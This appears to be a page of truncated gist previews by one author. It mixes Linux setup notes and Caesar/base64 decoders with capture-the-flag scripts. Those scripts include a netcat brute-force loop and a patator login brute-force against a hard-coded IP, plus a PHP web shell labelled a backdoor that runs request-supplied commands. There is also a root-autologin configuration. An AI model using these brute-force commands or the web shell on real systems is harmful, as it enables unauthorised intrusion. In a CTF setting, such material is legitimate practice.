This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Linux disk encryption (/home folder + /tmp with ecryptfs, plus swap partitions w/ dm-crypt) | |
# @author intrd - http://dann.com.br/ | |
Why not full disk encryption? | |
this setup is for systems who need performace.. | |
experienced on ubuntu system w/ an existing user.. | |
as root: | |
# apt-get install ecryptfs-utils cryptsetup | |
# apt-get install lsof |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Caesar base64(rotn) visual bruteforce | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
import base64, string | |
def caesar_int(ch, shift): | |
n = ord(ch) | |
if ord('a') <= n <= ord('z'): | |
n = n - ord('a') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## intrd's netcat python socket (v1.1) | |
# @author intrd - http://dann.com.br/ (original: http://stackoverflow.com/a/36419867) | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
import socket, socks, time | |
class Netcat: | |
def __init__(self, ip, port, timeo=10, scks=False): | |
self.buff = "" | |
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Kali light xfce4 root autologin (works after lightdm update) | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
Root autologin is broken after lighdtdm update, fix by doing this: | |
nano /etc/lightdm/lightdm.conf | |
at [Seat:*] group uncomment/edit: | |
autologin-user=root | |
autologin-user-timeout=0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Caesar script used in crypto100-hotsun @ 3dsctf-2k16 | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
import base64, string | |
def int_caesar(ch, shift): | |
n = ord(ch) | |
if ord('a') <= n <= ord('z'): | |
n = n - ord('a') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## Netcat bruteforce script used in crypto100-master @ 3dsctf-2k16 | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
for letter in {A..Z} ; do | |
echo $letter | |
sleep 1 | |
(echo "yes" & sleep 1 & echo "$letter") | nc -i1 -w5 54.175.35.248 8002 | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Mapos patator bruteforce script used in web200-mapos @ 3dsctf-2k16 | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
# patator.py - https://github.com/lanjelot/patator | |
python ~/appz/patator/patator.py http_fuzz url="http://54.175.35.248:8008/index.php/mapos/verificarLogin?ajax=true" \ | |
method=POST body='email=admin%40admin.com&senha=FILE0' 0=~/dics/rockyou.txt \ | |
follow=0 accept_cookie=1 --threads=2 \ | |
-x quit:fgrep!="Disallowed Key Characters.",fgrep!='esult":false' -l data --max-retries=5 --start=3000 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## PHP backdoor used in web200-mapos @ 3dsctf-2k16 | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
<?php | |
if(isset($_REQUEST['cmd'])){ | |
$cmd = ($_REQUEST["cmd"]); | |
system($cmd); | |
echo "</pre>$cmd<pre>"; | |
die; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## base64x50 decoder used in misc100-base3200 @ 3dsctf-2k16 | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
import base64 | |
# 3200/64 = 50 | |
pontfile='msg.txt' | |
for x in range(0, 50): | |
with open(pontfile, 'r') as f: |